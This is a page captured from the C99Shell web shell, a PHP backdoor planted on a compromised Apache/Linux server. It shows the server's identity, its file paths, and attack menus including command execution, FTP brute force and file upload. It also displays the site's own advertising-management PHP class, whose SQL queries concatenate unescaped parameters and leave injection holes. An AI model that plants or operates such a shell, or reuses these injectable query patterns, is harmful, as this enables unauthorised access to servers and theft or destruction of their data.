!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/tdfonline/php/datos/   drwxr-xr-x
Free 14.52 GB of 61.93 GB (23.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     dt_publicidad.php (12.2 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class dt_publicidad extends toba_datos_tabla
{
    function 
get_listado($filtro=array(), $order='ORDER BY t_p.id_publicidad DESC')
    {
        
        if (isset(
$filtro['id_publicidad'])) {
            
$where[] = "t_p.id_publicidad = '".$filtro['id_publicidad']."'";
        }

        if (isset(
$filtro['nombre'])) {
            
$where[] = "nombre ILIKE ".quote("%{$filtro['nombre']}%");
        }

        if (isset(
$filtro['visible']) and count($filtro['visible'])>0) {
            foreach(
$filtro['visible'] as $visible_en){
                switch(
$visible_en){
                    case 
'portada1':
                        
$where[] = "portada1 = 1";
                        break;
                    case 
'portada2':
                        
$where[] = "portada2 = 1";
                        break;                        
                    case 
'portada3':
                        
$where[] = "portada3 = 1";
                        break;
                    case 
'portada4':
                        
$where[] = "portada4 = 1";
                        break;
                    case 
'portada5':
                        
$where[] = "portada5 = 1";
                        break;
                    case 
'portada6':
                        
$where[] = "portada6 = 1";
                        break;                        
                    case 
'portada7':
                        
$where[] = "portada7 = 1";
                        break;
                    case 
'portada8':
                        
$where[] = "portada8 = 1";
                        break;
                    case 
'portada9':
                        
$where[] = "portada9 = 1";
                        break;
                    case 
'portada10':
                        
$where[] = "portada10 = 1";
                        break;                        
                    case 
'portada11':
                        
$where[] = "portada11 = 1";
                        break;
                    case 
'portada12':
                        
$where[] = "portada12 = 1";
                        break;    
                    case 
'portada13':
                        
$where[] = "portada13 = 1";
                        break;    
                    case 
'portada14':
                        
$where[] = "portada14 = 1";
                        break;        
                    case 
'newsletter1':
                        
$where[] = "newsletter1 = 1";
                        break;    
                    case 
'newsletter2':
                        
$where[] = "newsletter2 = 1";
                        break;    

                }
            }
        }

        if (isset(
$filtro['fecha_desde'])) {
            list(
$y,$m,$d)=explode("-",$filtro['fecha_desde']); //2011-03-31
            
$fecha_desde $y."-".$m."-".$d;
            
$where[] = "t_p.fecha_alta >= ".quote($fecha_desde);
        }
        if (isset(
$filtro['fecha_hasta'])) {
            list(
$y,$m,$d)=explode("-",$filtro['fecha_hasta']); //2011-03-31
            
$fecha_hasta $y."-".$m."-".$d." 23:59:59";
            
$where[] = "t_p.fecha_alta <= ".quote($fecha_hasta);
        }

        if (isset(
$filtro['usuario_alta'])) {
            
$where[] = "t_p.usuario_alta ILIKE ".quote("%{$filtro['usuario_alta']}%");
        }
        if (isset(
$filtro['estado'])) {
            
$where[] = "t_p.estado = '".$filtro['estado']."'";
        }

        if (isset(
$filtro['secciones']) and count($filtro['secciones'])>0) {
            
$primero true;
            foreach(
$filtro['secciones'] as $id_seccion){
                if(
$primero){
                    
$primero false;
                    
$in_secciones.= $id_seccion;
                }else{
                    
$in_secciones.= ','.$id_seccion;
                }
            }
            
#$where[] = "t_p.id_publicidad IN (select id_publicidad from seccion_publicidad where id_seccion IN ($in_secciones) ) ";

            
$where[] =  "( t_p.id_publicidad IN (select id_publicidad1 as id_publicidad from seccion where id_seccion IN ($in_secciones) ) ".
                        
"or t_p.id_publicidad IN (select id_publicidad2 as id_publicidad from seccion where id_seccion IN ($in_secciones) ) ".
                         
"or t_p.id_publicidad IN (select id_publicidad2 as id_publicidad from seccion where id_seccion IN ($in_secciones) ) ".
                         
"or t_p.id_publicidad IN (select id_publicidad3 as id_publicidad from seccion where id_seccion IN ($in_secciones) ) ".
                         
"or t_p.id_publicidad IN (select id_publicidad4 as id_publicidad from seccion where id_seccion IN ($in_secciones) )  )";
        }

        
$sql "SELECT
            t_p.id_publicidad,
            t_p.nombre,
            t_p.imagen,
            CASE
                WHEN t_p.imagen IS NULL THEN ''
                WHEN t_p.imagen = '' THEN ''
                WHEN t_p.imagen IS NOT NULL THEN '<img src=\"publi/'||t_p.imagen||'\" height=\"100\" width=\"100\">'
                ELSE ''
            END as url_imagen,
            t_p.vinculo,
            CASE
                WHEN t_p.vinculo IS NOT NULL THEN '<a target=\"_blank\" href=\"'||t_p.vinculo||'\">'||t_p.vinculo||'</a>'
                ELSE ''
            END as url_vinculo,
            t_p.swf,
            t_p.codigo,
            t_p.fecha_alta,
            t_p.usuario_alta,
            t_p.estado, 
            t_p.tipo, 
            CASE 
                WHEN t_p.tipo='F' THEN 'Flash'
                WHEN t_p.tipo='I' THEN 'Imagen'
                WHEN t_p.tipo='C' THEN 'Script'
                ELSE t_p.tipo
            END as tipo_descripcion,
            t_p.impresiones,
            t_p.clicks,
            CASE 
                WHEN t_p.estado='A' THEN 'Activa'
                WHEN t_p.estado='I' THEN 'Inactiva'
                WHEN t_p.estado='V' THEN 'Vista Previa'
                ELSE t_p.estado
            END as estado_descripcion,
            t_p.portada1, t_p.orden_portada1,
            t_p.portada2, t_p.orden_portada2,
            t_p.portada3, t_p.orden_portada3,
            t_p.portada4, t_p.orden_portada4,
            t_p.portada5, t_p.orden_portada5,
            t_p.portada6, t_p.orden_portada6,
            t_p.portada7, t_p.orden_portada7,
            t_p.portada8, t_p.orden_portada8,
            t_p.portada9, t_p.orden_portada9,
            t_p.portada10, t_p.orden_portada10,
            t_p.portada11, t_p.orden_portada11,
            t_p.portada12, t_p.orden_portada12,
            t_p.portada13, t_p.orden_portada13,
            t_p.portada14, t_p.orden_portada14,
            t_p.newsletter1, t_p.orden_newsletter1,
            t_p.newsletter2, t_p.orden_newsletter2

        FROM
            publicidad as t_p
        
$order";
        if (
count($where)>0) {
            
$sql sql_concatenar_where($sql$where);
        } 
        
$datos toba::db('tdfonline')->consultar($sql);

        
//---seteamos secciones a modo de string---------------
        
if(count($datos)>0){
            foreach(
$datos as $key=>$dato){
                
/*$sql = "SELECT t_s.id_seccion, t_s.nombre
                        FROM seccion_publicidad as t_sp, seccion as t_s
                        WHERE t_sp.id_seccion = t_s.id_seccion
                        AND t_sp.id_publicidad = '".$dato['id_publicidad']."'
                        ORDER BY nombre ASC";*/

                
$sql "SELECT t_s.id_seccion, t_s.nombre
                        FROM seccion as t_s
                        WHERE t_s.id_publicidad1 = '"
.$dato['id_publicidad']."'
                           OR t_s.id_publicidad2 = '"
.$dato['id_publicidad']."'
                           OR t_s.id_publicidad3 = '"
.$dato['id_publicidad']."'
                           OR t_s.id_publicidad4 = '"
.$dato['id_publicidad']."'
                           OR t_s.id_publicidad5 = '"
.$dato['id_publicidad']."'
                        ORDER BY nombre ASC"
;

                
$secciones toba::db('tdfonline')->consultar($sql);

                
$pri true;
                if(
count($secciones)>0){
                    foreach(
$secciones as $seccion){
                        if(
$pri){
                            
$datos[$key]['secciones'] = $seccion['nombre'];
                            
$pri false;
                        }else{
                            
$datos[$key]['secciones'].= ', '.$seccion['nombre'];
                        }                        
                    }
                }
            }
        }
        
//-----------------------------------------------------

        
return $datos;
    }

    function 
activar_desactivar($id_publicidad){

        
$sql "SELECT estado FROM publicidad WHERE id_publicidad = '$id_publicidad'";
        
$dato toba::db('tdfonline')->consultar_fila($sql); 

        if(
$dato['estado']== 'A'){
            
$estado 'I';
        }elseif(
$dato['estado']== 'I'){
            
$estado 'A';
        }else{
            return 
false;
        }

        
$sql "UPDATE publicidad SET estado = '$estado' WHERE id_publicidad = '$id_publicidad'";
        
toba::db('tdfonline')->ejecutar($sql);  
        return 
true;    
    }

    function 
get_last_publicidad(){
        
$sql "SELECT max(id_publicidad) as id_publicidad FROM publicidad";
        
$dato toba::db('tdfonline')->consultar_fila($sql);

        return 
$dato['id_publicidad'];

    }

    function 
get_imagen($id_publicidad '')
    {
        
#if(!empty($id_publicidad)){
             
$sql "SELECT imagen FROM publicidad WHERE id_publicidad = '$id_publicidad'";
            return 
toba::db('tdfonline')->consultar_fila($sql);           
        
#}
    
}

    function 
get_swf($id_publicidad '')
    {
        
#if(!empty($id_publicidad)){
             
$sql "SELECT swf FROM publicidad WHERE id_publicidad = '$id_publicidad'";
            return 
toba::db('tdfonline')->consultar_fila($sql);           
        
#}
    
}
    function 
get_swf_imagen($id_publicidad '')
    {
        
#if(!empty($id_publicidad)){
             
$sql "SELECT swf_imagen FROM publicidad WHERE id_publicidad = '$id_publicidad'";
            return 
toba::db('tdfonline')->consultar_fila($sql);           
        
#}
    
}

    function 
eliminar_publicidad($id_publicidad)
    {
        
$sql "SELECT imagen, swf, swf_imagen FROM publicidad WHERE id_publicidad = '$id_publicidad'";
        
$dato toba::db('tdfonline')->consultar_fila($sql); 

        
$sql "DELETE FROM publicidad WHERE id_publicidad = '$id_publicidad'";
        if (
toba::db('tdfonline')->ejecutar($sql)){

            if(!empty(
$dato['imagen'])){
                
$folder_path "../www/publi/";
                
$nombre_archivo $dato['imagen']; 
                
$destino=$folder_path.$nombre_archivo;
                if(
unlink($destino)){
                    
//return true;
                
}else{
                    return 
false;
                }                
            }

            if(!empty(
$dato['swf'])){
                
$folder_path "../www/publi/";
                
$nombre_archivo $dato['swf']; 
                
$destino=$folder_path.$nombre_archivo;
                if(
unlink($destino)){
                    
//return true;
                
}else{
                    return 
false;
                }                
            }

            if(!empty(
$dato['swf_imagen'])){
                
$folder_path "../www/publi/";
                
$nombre_archivo $dato['swf_imagen']; 
                
$destino=$folder_path.$nombre_archivo;
                if(
unlink($destino)){
                    
//return true;
                
}else{
                    return 
false;
                }                
            }

            return 
true;

         
        }else{
            return 
false;
        }
    }

    
//-----------------------------------------------------------------------------------
    //---- Descripciones para portada borrador ------------------------------------------
    //-----------------------------------------------------------------------------------

    
function get_activas($filtro=array()){

        
#if (isset($filtro['id_seccion'])) {
        #    $where[] = "t_p.id_publicidad IN (select id_nota from seccion_publicidad where id_seccion = '".$filtro['id_seccion']."') ";
        #}

        
$sql "SELECT
            t_p.id_publicidad,
            t_p.nombre,
            t_p.fecha_alta,
            t_p.usuario_alta,
            '#'||t_p.id_publicidad||' '||t_p.fecha_alta||' | '||t_p.nombre as descripcion
        FROM publicidad as t_p
        WHERE t_p.estado = 'A'
        ORDER BY t_p.id_publicidad DESC"
;

        if (
count($where)>0) {
            
$sql sql_concatenar_where($sql$where);
        }

        return 
toba::db('tdfonline')->consultar($sql);

    }


    function 
set_portada($array_datos,$sector_visibilidad){

        
$sql "UPDATE publicidad SET $sector_visibilidad = 0 WHERE estado = 'A'";
        
toba::db('tdfonline')->ejecutar($sql);

        foreach(
$array_datos as $dato){
            if(!empty(
$dato['id_publicidad'])){
                
$sql "UPDATE publicidad SET $sector_visibilidad = 1, orden_$sector_visibilidad = '".$dato['orden']."' WHERE estado = 'A' AND id_publicidad = '".$dato['id_publicidad']."'";
                
toba::db('tdfonline')->ejecutar($sql);                        
            }
        }

        return 
true;

    }

    function 
set_newsletter($array_datos,$sector_visibilidad){

        
$sql "UPDATE publicidad SET $sector_visibilidad = 0 WHERE estado = 'A'";
        
toba::db('tdfonline')->ejecutar($sql);

        foreach(
$array_datos as $dato){
            if(!empty(
$dato['id_publicidad'])){
                
$sql "UPDATE publicidad SET $sector_visibilidad = 1, orden_$sector_visibilidad = '".$dato['orden']."' WHERE estado = 'A' AND id_publicidad = '".$dato['id_publicidad']."'";
                
toba::db('tdfonline')->ejecutar($sql);                        
            }
        }

        return 
true;

    }

    function 
set_clicks($id_publicidad){

        
$sql "SELECT clicks FROM publicidad WHERE id_publicidad = '$id_publicidad'";
        
$dato toba::db('tdfonline')->consultar_fila($sql); 

        
$clicks $dato['clicks'] + 1;

        
$sql "UPDATE publicidad SET clicks = $clicks WHERE id_publicidad = '$id_publicidad'";
        if(
toba::db('tdfonline')->ejecutar($sql)){
            return 
true;
        }else{
            return 
false;
        }
    
    }

    function 
set_impresiones($id_publicidad){

        if(!empty(
$id_publicidad)){
            
$sql "SELECT impresiones FROM publicidad WHERE id_publicidad = '$id_publicidad'";
            
$dato toba::db('tdfonline')->consultar_fila($sql); 

            
$impresiones $dato['impresiones'] + 1;

            
$sql "UPDATE publicidad SET impresiones = $impresiones WHERE id_publicidad = '$id_publicidad'";
            if(
toba::db('tdfonline')->ejecutar($sql)){
                return 
true;
            }else{
                return 
false;
            }            
        }
    
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5971 ]--